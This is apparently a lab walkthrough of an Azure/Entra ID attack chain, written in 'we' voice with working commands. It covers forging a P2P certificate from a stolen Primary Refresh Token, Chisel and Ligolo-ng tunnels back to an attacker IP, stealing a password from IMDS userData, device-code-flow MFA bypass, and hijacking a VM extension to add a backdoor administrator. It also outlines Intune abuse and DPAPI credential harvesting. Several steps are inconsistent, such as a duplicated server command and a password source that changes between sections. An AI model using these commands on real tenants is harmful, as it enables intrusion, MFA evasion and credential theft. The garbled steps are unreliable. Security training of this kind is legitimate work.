    We are finalizing the credential weaponization phase by preparing the raw materials needed to generate our forged access pass. We start by taking the Primary Refresh Token which we scraped from memory in its encoded Base64 transport format and decoding it back into its raw text format because the attack tool specifically requires the clean token structure to successfully interact with the Microsoft authentication APIs.
    We then combine this decoded token with the cryptographic Session Key we recovered using DPAPI which functions as the digital signature proving we "own" the session. We feed both the raw token and this proof key into the entraptc.exe utility to effectively trick the Azure backend into issuing us a new Peer-to-Peer (P2P) Certificate.

    try {$PRT_encoded ="MS5BWEFBS2N0UUxYdGZwRWlIenY1MXFVR3R0b2…"; $PRT_encoded += "=" * ((4 - ($PRT_encoded.Length % 4))% 4); $PRT = ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($PRT_encoded) )) } catch { Write-Host "Invalid Base64format" }

    $PRT

    $SessionKey = "4765a512f6cb724a2294a4bf22cb674f69f12d5f88bd4ae29ac75fa847d2c6df"

    .\entraptc.exe "request_p2pcert" --prt $PRT --sessionkey $Sessionkey --outpfxpw "SecretPass@123"

    The successful output is a password-protected file named p2pcert.pfx which is the specific credential type required by Windows to authorize remote connections between Azure AD joined devices allowing us to connect to the infrastructure server in the next step as if we were a trusted administrator.

    Configuring Chisel (Tunneling)

    We will now execute the attack by establishing a SOCKS5 proxy via Chisel which acts as a relay pipe between our attacker machine and the internal network. We then use Proxifier to intercept the traffic from the entraptc.exe tool and force it through that pipe which effectively tricks the target server infradminsrv into believing the connection request is coming directly from its trusted neighbor jumpvm (10.0.1.4). This approach resolves the routing paradox instantly and will allow us to successfully pass the P2P certificate to open a PowerShell Remoting session on the infrastructure server which marks the completion of our lateral movement.

    Let’s now import the chisel.exe into our jumvm machine.

    Copy-Item -Path "C:\AzAD\Tools\chisel\chisel.exe" -ToSession $jumpvm -Destination "C:\”

    We execute this step to establish the listener or control station for our tunnel on our own attacking machine. We launch a command prompt with administrative privileges because opening network ports and managing routing tables typically requires elevated rights in the operating system. We initiate Chisel in server mode effectively telling our computer to wait for an incoming connection request from the compromised JumpVM which creates the bridge between the external internet and the internal network.

    We focus on the port configuration because using port 443 is a standard Red Team tradecraft technique that disguises our tunneling traffic as legitimate encrypted web browsing (HTTPS) which helps evade firewall detections. However we must modify this listening port to correspond to our unique Student ID in this specific lab environment to prevent network collisions with other students who are performing the same attack. We essentially create a SOCKS5 proxy endpoint within this listener which serves as a universal socket that tools like Proxifier can plug into. This configuration ensures that when we later run the entraptc binary its traffic is captured by Proxifier and shoved into this Chisel socket which routes the data through the JumpVM and delivers it securely to the target infrastructure server that we cannot reach directly.

    From our attacking machine

    .\chisel.exe server --reverse -v -p 9059 --socks5

    From jumpvm

    .\chisel.exe server --reverse -v -p 9059 --socks5

    We utilize ProxiFyre to overcome a specific software limitation where the entraptc tool fundamentally lacks the built-in ability to understand SOCKS proxies. The tool naturally tries to send its traffic directly to the private internal IP which would fail because our machine cannot reach that network. We use ProxiFyre to intercept the tool's outgoing traffic at the process level and forcibly route it through the Chisel tunnel, effectively tricking the binary into communicating via the JumpVM without it ever knowing that it isn't connected directly to the target.

    Let's now configure ProxiFyre. For our lab, it is already installed on the Student VM as a service, we just need to configure it using configuration file to start proxying traffic from Student VM towards infradminsrv.
    Create the configuration file named app-config.json in the C:\AzAD\Tools\ProxiFyre directory and save it with the following content

    {
      "logLevel": "All",
      "proxies": [
        {
          "appNames": ["C:\\AzAD\\Tools\\EntraPTC-main\\dist\\entraptc.exe"],
          "socks5ProxyEndpoint": "127.0.0.1:1080",
          "supportedProtocols": ["TCP", "UDP"]
        }
      ],
      "excludes": [
      ]
    }

    .\ProxiFyre.exe install

    taskkill /F /IM ProxiFyre.exe

    .\ProxiFyre.exe

    Now that we have configured everything, we can simply reach 10.0.1.5 thru our jumpvm.

    Please make sure that you are passing the right Path of your p2pcert.pfx file.

    set HTTP_PROXY=http://proxy.invalid

    set NO_PROXY=*

    C:\AzAD\Tools\EntraPTC-main\dist\entraptc.exe winrm --target 10.0.1.5 --pfx C:\AzAD\Tools\ROADtools\p2pcert.pfx --pfxpw SecretPass@123

    We were able to to successfully access our target 10.0.1.5. This would also alternatively work using RPC instead of WinRM as well.

    C:\AzAD\Tools\EntraPTC-main\dist\entraptc.exe rpc --target 10.0.1.5 --pfx C:\AzAD\Tools\ROADtools\p2pcert.pfx --pfxpw SecretPass@123

    Ok, now if we enumerate logon session inside this target, we will find out that we do have another user logged on. It is MichaelBarron.

    Extracting clear-text credentials from user data and Graph API tokens from browser

    We execute this second method as a two-pronged data mining operation to maximize the value of our compromise on the current server. Unlike Method 1 which focused on system-level identity tokens like the Managed Identity or Primary Refresh Token, Method 2 focuses on finding static secrets and session artifacts that human administrators have inadvertently left behind on the disk or in the machine configuration.

    We start by querying the Azure Instance Metadata Service specifically for the User Data attribute using the internal IP address. We send a web request to the non-routable endpoint while ensuring we include the metadata header to validate our request. This field is valuable because administrators often put bootstrapping scripts or initial configuration commands here during the server creation process. Because this data is simply Base64 encoded rather than encrypted, we can decode the response immediately to reveal cleartext data. We are hoping to find that an administrator hardcoded a sensitive password or a service account credential inside this startup script which would grant us a new permanent credential to access other servers or databases in the network.

    We simultaneously pivot to targeting the web browsers installed on the machine to harvest Graph API Tokens directly from the file system. Since we possess local administrative privileges on this server, we have the authority to read the personal files of other users who have logged in. We inspect the Local Storage database files for browsers like Edge or Chrome to find cached authentication sessions for the Azure Portal. By programmatically extracting and decrypting these local storage values, we can recover the active Access Tokens for the Microsoft Graph API. This technique allows us to steal a valid cloud session from an administrator who used this server to manage the Azure tenant effectively bypassing Multi-Factor Authentication by taking their pre-validated session ticket directly from their browser's memory.

    We are initiating this method by querying the Azure Instance Metadata Service (IMDS) from inside the compromised jumpvm to check for sensitive bootstrapping data left behind during the server's creation. We execute the Invoke-RestMethod command against the non-routable IP 169.254.169.254, specifically requesting the userData field. Administrators often mistakenly assume this field is secure and use it to pass initialization scripts or initial passwords to the VM when it is first built.

    Since Azure delivers this user data as a Base64 encoded string, our next command immediately decodes the output to reveal the cleartext content.

    # 1. Retrieve the User Data blob from the Instance Metadata Service
    $userData = Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021-01-01&format=text"

    # 2. Decode the Base64 string to see cleartext secrets
    [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))

    This reveals the critical credential we were hunting for which is the plaintext password (SaMm@nagesVirtualM@chines!!) for the user samcgray. We successfully pivot using this discovery by creating a standard PowerShell credential object and authenticating to Azure as Sam. This allows us to verify his permissions, specifically confirming his access rights over the infradminsrv virtual machine, which serves as our next target for lateral movement.

    Evade Client App based Conditional Access Policy

    We will now use user Sam's credentials for further enumeration.

    While trying to login into cosmos.azure.com or portal.azure.com we find out that SamCGray has MFA enabled.

    Abusing Device Authorization Flow (Device Code Flow)

    We utilize the Device Code Flow as a technique to facilitate phishing or to transport our access from a constrained environment (like a generic VM terminal) to our full attack toolkit. This protocol was designed for devices like Smart TVs that lack a keyboard, allowing a user to authenticate on a secondary device.

    In an attack scenario, we initiate this flow from our attacking machine, which generates a short code. We then trick a victim (or use our compromised session on a trusted VM) to enter this code at microsoft.com/devicelogin. Once the code is authorized, Microsoft issues a full set of Refresh and Access tokens to our attacker machine. This is particularly potent because it allows us to bypass password entry if we are already in an authenticated session, and it grants us a persistent Refresh Token that can survive for 90 days.

    Evading Mandatory MFA and Conditional Access Policies

    Finally, we discuss how the techniques above, specifically Token Theft via browser extraction and the Device Code Flow, serve as primary methods for MFA Evasion. We are not "cracking" MFA, we are bypassing the requirement to provide it. By stealing a token from an already-authenticated session (Portal Extraction) or by performing the Device Code flow on a Trusted/Compliant device (the compromised VM), we satisfy the Conditional Access policies enforced by the tenant.
    We leverage the trusted state of the victim's machine to generate the cryptographic material (Tokens) we need, effectively piggybacking on their valid security posture.

    This method separates the "Client" (our PowerShell window) from the "Authenticator" (the Browser). It is the standard OAuth flow used for devices that cannot display a browser (like a Smart TV), but we abuse it to bridge the gap between our blocked shell and the allowed browser.

    What we are doing:

    1. The Trigger: We run Connect-AzAccount -UseDeviceAuthentication.
    1. The Authorization: Azure generates a code (e.g., A1B2C) in our terminal. We take this code to https://microsoft.com/devicelogin in our browser.
    1. The Bridge: We verify the login in the browser as Kathy. Azure sees this as a web-based login (satisfying the browser policy) and then passes the resulting Refresh Token back to our PowerShell window.

    The Verdict: Why we choose Device Code Flow (Option 2)

    For this specific use case, we are choosing the Device Code Flow.

    While extracting the token from F12 (Option 1) is a great hacker trick, it has operational downsides: access tokens are short-lived (usually 60 minutes). If we rely on Option 1, we will have to repeat the F12 process and copy-paste the token again every hour.

    We choose Option 2 (Device Code Flow) because it provides Persistence.
    When we complete the Device Code login, PowerShell receives a Refresh Token, not just an Access Token. This means our session on the attacking machine will automatically renew itself for days, allowing us to perform long-running enumeration (scanning Administrative Units and Key Vaults) without constantly needing to stop and re-authenticate. It effectively automates the bypass for us.

    Here are the step-by-step instructions for executing the Device Code Flow to authenticate as SamCGray. We are choosing this method to establish a persistent session while bypassing potential "Block Legacy Authentication" policies that might restrict standard PowerShell logins.

    Step 1: Initiate the Device Flow

    We return to our PowerShell console on our attacking machine. Instead of attempting a direct login, we explicitly instruct the Azure module to use the Device Authentication protocol. This decouples the "Login UI" from our terminal.
    The PowerShell console will pause and generate a message containing a URL (https://microsoft.com/devicelogin) and a unique Alphanumeric Code (e.g., H8J9K2L3).

    Connect-AzAccount -UseDeviceAuthentication

    We copy this code to our clipboard. This code effectively serves as a temporary session identifier that links our untrusted PowerShell window to the trusted browser session we are about to open.

    Step 2: Browser Authorization (The Bypass)

    We open a Private (Incognito) window in our web browser. This ensures that no cached cookies from our previous sessions (like Mark Walden’s) interfere with this new login.

    1. We navigate to https://microsoft.com/devicelogin.
    1. We paste the code provided by our terminal.
    1. We click Next.

    Step 3: Credential Injection

    We now verify the identity. Since we are in a web browser, the Conditional Access policies treating "Browsers" as trusted clients allow us to proceed.

    1. Username: We enter samcgray@defcorphq.onmicrosoft.com
    1. Password: We enter the credentials we recovered from the Key Vault: SaMm@nagesVirtualM@chines!!
    1. MFA Check:
      • If no MFA is required: We proceed directly.

    The successful execution of the device code flow means that we have established a fully authenticated session for Sam in your terminal. By completing the login in our web browser and satisfying the Azure requirements there we effectively authorized the Microsoft identity platform to issue valid Access Tokens and Refresh Tokens directly to your PowerShell session. This means our terminal now holds the necessary permissions to interact with the Azure Resource Manager (ARM) backend without triggering any further Multi-Factor Authentication prompts because the session is continuously refreshed using the cryptographic material we successfully acquired. While this command sets up the infrastructure context by default you can also leverage this same active session to request Graph API tokens seamlessly if you need to query the directory later.

    We immediately execute the Get-AzResource command whenever we compromise a new account because it serves as our primary situational awareness tool to map the attack surface available to that specific user. We are effectively asking the Azure control plane to list every single object that Sam is allowed to see or touch which defines the boundaries of our new privileges.

    Get-AzResource

    Looking specifically at our screenshot this enumeration provided critical targeting intelligence by revealing the existence of the infradminsrv virtual machine and more importantly identifying an installed extension named ExecCmd. This specific discovery confirms that Sam has administrative visibility over the extensions on that high-value server. which strongly suggests we can leverage the Custom Script Extension abuse technique to gain code execution on the infrastructure admin server.

    For the next step, if we try to enumerate what Roles Sam C Gray has, our enumeration with Get-AzRoleAssignment, we won’t see anything, no roles are shown at all.

    Get-AzRoleAssignment

    We move to execute Get-AzVMExtension because enumeration in the cloud often requires looking at the installed components of a resource when the permission assignments are hidden or unclear. Even if our query for explicit roles like "Owner" or "Contributor" returns nothing due to read restrictions on the Authorization endpoints, the fact that we could verify the existence of the infradminsrv virtual machine suggests we might still possess specific actions over its sub-components. By querying for extensions, we are effectively shifting our focus from asking "What am I allowed to do?" to "What is installed on this machine that I might be able to manipulate?" which helps us discover management agents like the Custom Script Extension that we can weaponize.

    Get-AzVMExtension -ResourceGroupName "Research" -VMName "infradminsrv"

    This command is the critical bridge in our attack path because finding the CustomScriptExtension listed in the output provides the functional proof that the server allows code execution through the control plane. The output in our screenshot serves as incredible intelligence because it reveals not just the extension's existence but also the history of its use, we can see plainly in the PublicSettings that someone previously utilized this exact ExecCmd extension.. This validates our entire attack strategy by confirming that this extension mechanism is the established path for administrative changes and practically gives us the exact syntax we need to copy to deploy our own malicious instructions.

    We are effectively observing the constraints of a Granular Role Assignment where our compromised identity, SamCGray, holds permissions specifically scoped to the existing object rather than the entire virtual machine. The instructor states we cannot create a new extension because our write permission is almost certainly tied directly to the specific Resource ID of the existing ExecCmd extension found during our enumeration phase. If we attempted to create a brand new extension named "Backdoor," the Azure Resource Manager would block the request because that action technically involves creating a new child resource under the VM which requires broader permissions on the parent container that we do not possess.

    We can however modify the commandToExecute because updating the properties of an existing resource falls under the permission scope we do hold for that specific ExecCmd object. By using the Set-AzVMExtension command with the exact same name as the installed extension, we are performing an in-place update operation. This effectively hijacks the legitimate administrative agent already present on the server and forces it to discard its old configuration and adopt our new malicious configuration that creates our backdoor administrator account.

    Let's create a custom script extension that adds a local administrator to the VM. Note that we are not considering endpoint OpSec here.
    Please note that we will be unable to create new extension but can modify the "commandToExecute" to add your own local user

    Set-AzVMExtension -ResourceGroupName "Research" -VMName "infradminsrv" -Location "Germany West Central" -Name "NewHackerExt" -Publisher "Microsoft.Compute" -ExtensionType "CustomScriptExtension" -TypeHandlerVersion "2.0" -Settings @{"commandToExecute" = "powershell whoami"}

    The first attempt failed due to an architectural conflict within the Azure Compute Resource Provider which dictates that a virtual machine cannot host multiple instances of the same extension handler type simultaneously if they conflict in configuration or version. Since the server already had the ExecCmd extension actively utilizing the Custom Script handler at version 1.8, our attempt to deploy a second distinct extension named NewHackerExt asking for version 2.0 created a collision. The Azure control plane blocked this request with a 409 Conflict error because the internal Guest Agent cannot load two competing drivers for the same functionality at the same time.

    The second command succeeds because we successfully shift our tactic from attempting to provision a new resource to modifying an existing one which respects the single-handler constraint. By explicitly targeting the ExecCmd name and matching the installed version 1.8 we performed a valid in-place update operation (PATCH) that the system interprets as a standard configuration change.

    Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users student59 Stud59Password@123 /add /Y; net localgroup administrators student59 /add"}'

    This action worked because our identity possesses specific granular write permissions scoped to that pre-existing extension object which allows us to overwrite the executed command and weaponize the installed agent without needing broader rights to create new objects on the virtual machine.

    PSRemoting to jumpvm

    We can now use PSRemoting to connect from our attacking machine to jumpvm using our newly added local admin user and from the remoting session to infradminsrv.

    $password = ConvertTo-SecureString 'Stud59Password@123' -AsPlainText -Force
    $creds = New-Object System.Management.Automation.PSCredential('student59', $password)
    $jumpvm = New-PSSession -ComputerName 51.116.180.87 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
    Enter-PSSession -Session $jumpvm

    From jumpserver to infradminsrv

    We typically avoid using nested interactive approach during actual engagements because running a live shell session inside another live shell session creates significant instability in the terminal input streams which often causes the cursor to freeze or commands to behave unpredictably. We prefer the Invoke-Command method because establishing a persistent session variable creates a stable data tunnel that allows us to send execution instructions and receive clean text output without the risk of breaking our terminal interface.

    $password = ConvertTo-SecureString 'Stud59Password@123' -AsPlainText -Force

    $creds = New-Object System.Management.Automation.PSCredential('.\student59', $password)

    $infradminsrv = New-PSSession -ComputerName 10.0.1.5 -Credential $creds

    Invoke-Command -Session $infradminsrv -ScriptBlock{hostname}

    Let’s now enumerate if infradminsrv is an Entra ID joined device as well.

    Invoke-Command -Session $infradminsrv -ScriptBlock{dsregcmd /status}

    +----------------------------------------------------------------------+
    | Device State                                                         |
    +----------------------------------------------------------------------+
    
                 AzureAdJoined : YES
              EnterpriseJoined : NO
                  DomainJoined : NO
                   Device Name : infradminsrv
    
    +----------------------------------------------------------------------+
    | Device Details                                                       |
    +----------------------------------------------------------------------+
    
                      DeviceId : a7177d1f-e967-49ef-9ffc-b7b7766f2eec
                    Thumbprint : A0B55E8A09610077EF59E4811D948701E2943046
     DeviceCertificateValidity : [ 2021-03-31 14:57:07.000 UTC -- 2031-03-31 15:27:07.000 UTC ]
                KeyContainerId : c3ce360b-231b-4f8e-b52d-476f7772e34b
                   KeyProvider : Microsoft Software Key Storage Provider
                  TpmProtected : NO
              DeviceAuthStatus : SUCCESS
    
    +----------------------------------------------------------------------+
    | Tenant Details                                                       |
    +----------------------------------------------------------------------+
    
                    TenantName : Defense Corporation
                      TenantId : 2d50cb29-5f7b-48a4-87ce-fe75a941adb6
                           Idp : login.windows.net
                   AuthCodeUrl : https://login.microsoftonline.com/2d50cb29-5f7b-48a4-87ce-fe75a941adb6/oauth2/authorize
                AccessTokenUrl : https://login.microsoftonline.com/2d50cb29-5f7b-48a4-87ce-fe75a941adb6/oauth2/token
                        MdmUrl : https://enrollment.manage.microsoft.com/enrollmentserver/discovery.svc
                     MdmTouUrl : https://portal.manage.microsoft.com/TermsofUse.aspx
              MdmComplianceUrl : https://portal.manage.microsoft.com/?portalAction=Compliance
                   SettingsUrl :
                JoinSrvVersion : 2.0
                    JoinSrvUrl : https://enterpriseregistration.windows.net/EnrollmentServer/device/
                     JoinSrvId : urn:ms-drs:enterpriseregistration.windows.net
                 KeySrvVersion : 1.0
                     KeySrvUrl : https://enterpriseregistration.windows.net/EnrollmentServer/key/
                      KeySrvId : urn:ms-drs:enterpriseregistration.windows.net
            WebAuthNSrvVersion : 1.0
                WebAuthNSrvUrl : https://enterpriseregistration.windows.net/webauthn/2d50cb29-5f7b-48a4-87ce-fe75a941adb6/
                 WebAuthNSrvId : urn:ms-drs:enterpriseregistration.windows.net
        DeviceManagementSrvVer : 1.0
        DeviceManagementSrvUrl : https://enterpriseregistration.windows.net/manage/2d50cb29-5f7b-48a4-87ce-fe75a941adb6/
         DeviceManagementSrvId : urn:ms-drs:enterpriseregistration.windows.net
    
    +----------------------------------------------------------------------+
    | User State                                                           |
    +----------------------------------------------------------------------+
    
                        NgcSet : NO
               WorkplaceJoined : NO
                 WamDefaultSet : ERROR (0x80070520)
    
    +----------------------------------------------------------------------+
    | SSO State                                                            |
    +----------------------------------------------------------------------+
    
                    AzureAdPrt : NO
           AzureAdPrtAuthority :
                 EnterprisePrt : NO
        EnterprisePrtAuthority :
    
    +----------------------------------------------------------------------+
    | Diagnostic Data                                                      |
    +----------------------------------------------------------------------+
    
            AadRecoveryEnabled : NO
        Executing Account Name : infradminsrv\student59
                   KeySignTest : PASSED
    
            DisplayNameUpdated : YES
              OsVersionUpdated : YES
               HostNameUpdated : YES
    
          Last HostName Update : SUCCESS
                   Client Time : 2022-11-02 16:10:54.000 UTC
                    Request ID : 5febaf05-4e7e-4f63-acd4-9533492baafb
                   Server Time : 11-02-2022 16:10:54Z
                   HTTP Status : 200
                Server Message : The attribute 'hostnames' value(s) were successfully updated
    
    +----------------------------------------------------------------------+
    | IE Proxy Config for Current User                                     |
    +----------------------------------------------------------------------+
    
          Auto Detect Settings : YES
        Auto-Configuration URL :
             Proxy Server List :
             Proxy Bypass List :
    
    +----------------------------------------------------------------------+
    | WinHttp Default Proxy Config                                         |
    +----------------------------------------------------------------------+
    
                   Access Type : DIRECT
    
    +----------------------------------------------------------------------+
    | Ngc Prerequisite Check                                               |
    +----------------------------------------------------------------------+
    
                IsDeviceJoined : YES
                 IsUserAzureAD : NO
                 PolicyEnabled : NO
              PostLogonEnabled : YES
                DeviceEligible : YES
            SessionIsNotRemote : YES
                CertEnrollment : none
                  PreReqResult : WillNotProvision
    
    For more information, please visit https://www.microsoft.com/aadjerrors

    To check later On

    Configuring Ligolo-NG (Tunneling)

    Ligolo-ng is a simple, lightweight and fast tool that allows pentesters or Red Teamers to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).

    Let’s now import the agent.exe into our jumvm machine.

    Copy-Item -Path "C:\AzAD\Tools\Ligolo-NG\agent.exe" -ToSession $jumpvm -Destination "C:\"

    On Attacking VM

    .\proxy.exe -selfcert -laddr 0.0.0.0:9059

    On target jumpvm.

    Start-Process -FilePath "C:\agent.exe" -ArgumentLis "-connect 51.210.1.239:9059 -ignore-cert" -NoNewWindow

    netsh interface portproxy add v4tov4 listenaddress=127.0.0.1 listenport=53 connectaddress=10.0.1.5 connectport=5985

    On Attacking VM

    After Session created, run the following command

    session

    choose the session coming from our jumvm.

    On Attacking VM

    Then we need to create a new interface, this interface will be responsible to route packets from the target internal network to our attacking machine and vice-versa

    ifcreate --name jumpvm_internal

    Then we add the route of the internal target network we want to access from our attacking machine to the interface we just created.

    route_add --route 10.0.1.0/24 --name jumpvm_internal

    Now that we have added the route to the interface of our choice, we will now tunnel the traffic to the interface we created.

    tunnel_start --tun jumpvm_internal

    If you need to access the local ports of the currently connected agent, there's a "magic" CIDR hardcoded in Ligolo-ng: 240.0.0.0/4 (This is an unused IPv4 subnet). If you query an IP address on this subnet, Ligolo-ng will automatically redirect traffic to the agent's local IP address (127.0.0.1).

    route add 240.0.0.1/32 MASK 255.255.255.255 169.254.151.162

  • Lateral Movement - Pass-the-PRT & Intune Cloud to On-Prem

    Primary Refresh Token Extraction and Protection

    The Primary Refresh Token acts as the persistent digital identity card for a user on a specific device and is designed to provide Single Sign-On access to cloud applications without constant password prompts. We target this specific artifact because retrieving it allows us to impersonate the user from a different location while appearing to originate from their trusted hardware. We typically execute the extraction by interacting with the Local Security Authority Subsystem Service where the CloudAP security provider handles the authentication keys in system memory. We use tools like mimikatz to perform this memory scrapping which yields both the encoded PRT and the associated Session Key needed to decrypt and use it.

    Pass-the-PRT Attack Mechanics

    We weaponize the stolen Primary Refresh Token using the Pass-the-PRT technique which essentially functions like cloning a smartcard to enter a secure facility. We inject the decrypted token directly into our own browser session or attack tool which tricks the Azure authentication endpoint into recognizing our traffic as coming from the victim's verified laptop. This action is critical because it grants us instant authenticated access to the user's applications such as the Azure Portal or Office 365 without us ever needing to know their actual password or needing access to their multi-factor authentication device.

    PRT Renewal and Conditional Access Bypass

    The longevity of our access relies on the specific behavior of the token renewal process which operates independently from the initial login checks. We exploit the architectural decision where Conditional Access policies are heavily enforced during the initial user sign-in but are frequently bypassed or simplified during the token renewal handshake to reduce friction. This behavior creates a persistence mechanism where possessing a valid PRT often allows us to maintain continuous access to the environment even if the security policies are updated because the automated renewal cycle flies under the radar of the main security gatekeeper.

    Family of Client IDs Integration

    We leverage the concept of the Family of Client IDs which represents a trust relationship between different first-party Microsoft applications. We exploit this architectural design feature where obtaining a refresh token for a lower-security application within the family essentially grants us a skeleton key to access other higher-security applications in the same group. This means that if we compromise a token used for a simple tool like Outlook, we can theoretically trade that token with the identity provider to gain access to other resources like the Azure Command Line Interface or Teams without requiring a new interactive login from the victim.

    Intune Device Management and Script Execution

    We utilize Microsoft Intune as a powerful mechanism for mass remote code execution across the enterprise environment. Intune serves as the centralized management plane that pushes configurations to company-owned devices regardless of their physical location on the network. We abuse administrative rights within this platform to create and deploy malicious PowerShell scripts that the system automatically distributes to targeted groups of computers. These scripts run with SYSTEM privileges which grants us absolute control over the target operating system without ever needing to touch the device physically or know its local administrator credentials.

    Cloud-to-On-Prem Lateral Movement

    This topic defines the strategic pivot where we move from a cloud-only compromise to a physical network breach. We weaponize the Intune platform to bridge the air gap by pushing our malicious scripts from the internet-facing cloud management console down to servers and workstations located inside the corporate firewall. This technique is incredibly effective because the traffic looks like legitimate management activity initiating from the inside out which allows us to bypass firewall rules and establish a foothold deep within the secure internal network.

    The Intune Management Extension Architecture

    We must understand the role of the Intune Management Extension agent which is the actual software service running on the Windows endpoints responsible for fetching and executing our scripts. Mastering this component involves understanding that there is often a latency between when we upload a script and when the agent checks in to execute it. We must also look at the local log files located on the victim machine to troubleshoot why a script might have failed and to verify that our payload executed successfully. This agent is the hands and eyes of the cloud attack on the local metal.

    Post-Exploitation and Credential Harvesting

    Our operation culminates in the extraction of sensitive data from the machines we have taken over via Intune. We systematically search through local artifacts where users and administrators inevitably leave traces of their secrets. We specifically target PowerShell console history files where commands are stored in plain text and transcripts of past execution sessions. We also leverage the system privileges we gained to interact with the Data Protection API or DPAPI to decrypt stored credentials in web browsers or credential managers which allows us to harvest fresh passwords for lateral movement to other parts of the network.